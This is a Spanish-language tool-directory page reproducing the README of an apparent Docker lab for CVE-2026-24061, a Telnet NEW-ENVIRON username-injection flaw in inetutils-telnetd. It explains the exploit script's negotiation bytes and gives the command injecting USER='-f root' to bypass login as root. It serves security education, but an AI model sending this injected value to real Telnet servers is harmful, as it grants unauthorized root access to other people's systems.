Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-24061 — # Laboratorio educativo de Docker que demuestra la inyección de nombre de usuario NEW-ENVIRON de Telnet (CVE-2026-24061) con un cliente Python y un servidor vulnerable para investigación de seguridad aislada. | Kitploit
Herramientas/GitHubGitHub/tiborscholtz/cve-2026-24061
Análisis de VulnerabilidadesExplotaciónSeguridad de RedesAprendizaje y EducaciónLabs y Práctica
GitHubtiborscholtz/cve-2026-24061

CVE-2026-24061

# Laboratorio educativo de Docker que demuestra la inyección de nombre de usuario NEW-ENVIRON de Telnet (CVE-2026-24061) con un cliente Python y un servidor vulnerable para investigación de seguridad aislada.

Ver Repositorio
hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Laboratorio de Auto-Login Telnet con Docker

Docker Python License

Un laboratorio Docker ligero para experimentar con la negociación del protocolo Telnet, explicado en el exploit CVE-2026-24061, que contiene inyección automática de nombre de usuario mediante la opción NEW-ENVIRON.

Este proyecto crea un entorno cliente-servidor aislado para estudiar cómo Telnet maneja la omisión de autenticación basada en variables de entorno.


Características

  • Laboratorio aislado de dos contenedores usando Docker Compose
  • Cliente Telnet personalizado en Python
  • Inyección automática de la variable de entorno USER
  • Manejo básico de la negociación de opciones Telnet
  • Descubrimiento de servicios basado en DNS interno de Docker
  • Configuración mínima y reproducible

Arquitectura

root@kitploit:~
+---------+        labnet        +---------+
| node1   |  ------------------> | node2   |
| Cliente |                      | Telnet  |
| Python  |                      | Servidor|
+---------+                      +---------+
ContenedorRol
node1Cliente Python con script de auto-login
node2Servidor Telnet (inetutils-telnetd 2.7)

Ambos servicios se ejecutan dentro de una red privada de puente Docker, llamada labnet.


Estructura del Proyecto

root@kitploit:~
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py

Detalles de los archivos

Dockerfile.node1

Este archivo es responsable de la instalación del contenedor cliente, llamado node1.

Elegí python:3.12-slim como imagen base, ya que el propósito de este laboratorio es únicamente la comunicación de red. Solo instalamos el cliente telnet y copiamos exploit.py a la carpeta raíz del contenedor.

Dockerfile.node2

Este archivo es responsable de la instalación del contenedor servidor, llamado node2.

La misma imagen base se aplica también para este contenedor. Sin embargo, el proceso de instalación implica más pasos:

  • Después de actualizar, necesitamos instalar wget, para obtener la versión vulnerable de telnetd.
  • Después de descargar la versión vulnerable, instalémosla usando apt get install -y
  • La línea añadida a /etc/inetd.conf habilita el servicio telnet.
  • El último comando habilita el daemon inetd como comando de inicio para el contenedor.

exploit.py

En la parte superior del archivo, vemos algunas constantes declaradas:

root@kitploit:~
IAC  = 255 
DO   = 253
DONT = 254
WILL = 251
WONT = 252
SB   = 250
SE   = 240

IAC, con el valor de 255, significa Interpret As Command (Interpretar como Comando), por lo que marca el inicio de la secuencia de control de Telnet.

Puedes inspeccionar más opciones aquí

El formato generalmente se ve así:

root@kitploit:~
IAC <comando> <opción>

En el script, existe la siguiente parte:

root@kitploit:~
# Handle telnet negotiation
if IAC in data:
    handle_telnet_negotiation(sock, data, username)

Este if verifica que, si los datos recibidos actualmente del servidor contienen el valor IAC, necesitamos interpretarlos como un comando.

Recorremos los datos recibidos usando un bucle while. Verificamos cada byte para ver si es un IAC.

root@kitploit:~
if data[i] == IAC:
    cmd = data[i+1]
    opt = data[i+2]

Si lo es, asignamos a las variables cmd y opt el byte correspondiente del flujo de datos.

Si el valor de opt es igual al valor de NEW_ENVIRON, el script ejecuta el método send_new_environ_user.

Examinemos la siguiente parte del código:

root@kitploit:~
data = bytes([
        IAC, SB, NEW_ENVIRON, 0,  # IS
        ENV_USERVAR
    ]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
        IAC, SE
])

SB y SE son parte de las constantes del protocolo Telnet. SB significa 'Subnegotiation begin' (Inicio de subnegociación), mientras que SE significa 'Subnegotiation end' (Fin de subnegociación). Todo lo que se encuentra entre estos dos valores son configuraciones relacionadas con un comando específico, enviadas al servidor. En este caso, queremos enviar un mensaje usando el estándar rfc1572, en detalle aquí.

Podemos traducir libremente la secuencia de bytes al español, como:

root@kitploit:~
- Interpretar esto como un comando (IAC)
- Es (0)
- Una nueva variable de entorno (NEW_ENVIRON)
- El valor de esta nueva variable de entorno es (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Finalizar la subconexión (IAC + SE)

Sin embargo, hay casos en los que el servidor Telnet objetivo no admite variables de entorno relacionadas con nombres de usuario. En este caso, recurrimos a enviar el nombre de usuario de la forma tradicional.


Requisitos

  • Docker 24+
  • Docker Compose v2+

Verificar la instalación:

root@kitploit:~
docker --version
docker compose version

Inicio Rápido

1. Construir e iniciar el entorno

root@kitploit:~
docker compose up --build -d

Verificar el estado:

root@kitploit:~
docker ps

Deberías ver:

  • node1
  • node2

2. Abrir una shell en el contenedor cliente

root@kitploit:~
docker exec -it node1 bash

Establecer un nombre de usuario y ejecutar el script:

root@kitploit:~
USER="-f root" python exploit.py node2

El script:

  • Se conectará a node2 en el puerto 23
  • Realizará la negociación Telnet
  • Enviará USER=-f root usando NEW-ENVIRON
  • Recurrirá a la detección de indicadores si es necesario

Red

  • Nombre de la red: labnet
  • El DNS interno de Docker permite la resolución de nombres de host
  • No se exponen puertos al host
  • La comunicación es solo entre contenedores
Nombre de hostServicio
node1Cliente
node2Servidor Telnet

Notas de Implementación

El script cliente:

  • Maneja las secuencias de control Telnet IAC, DO, WILL, que son comandos fundamentales del protocolo Telnet utilizados para la negociación de opciones entre un cliente y un servidor.
  • Responde a las solicitudes NEW-ENVIRON
  • Envía:
root@kitploit:~
USER=<valor de $USER>
  • Detecta los indicadores login: o username: como alternativa

Detener y Limpiar

Detener el entorno:

root@kitploit:~
docker compose down

Si también deseas eliminar contenedores e imágenes:

root@kitploit:~
docker compose down --rmi all

Aviso de Seguridad

Telnet transmite datos en texto plano y no es seguro. Este proyecto está destinado solo con fines educativos, dentro de entornos aislados.


Solución de Problemas

Conexión rechazada

  • Asegúrate de que los contenedores estén en ejecución:

    root@kitploit:~
    docker ps
    

El script sale con error de USER

  • Asegúrate de que la variable de entorno esté establecida:
root@kitploit:~
USER="-f root" python exploit.py node2

Reconstruir después de cambios

root@kitploit:~
docker compose up --build

Licencia

Este repositorio se proporciona para uso educativo y de investigación. Las contribuciones y mejoras son bienvenidas.

Descargar herramienta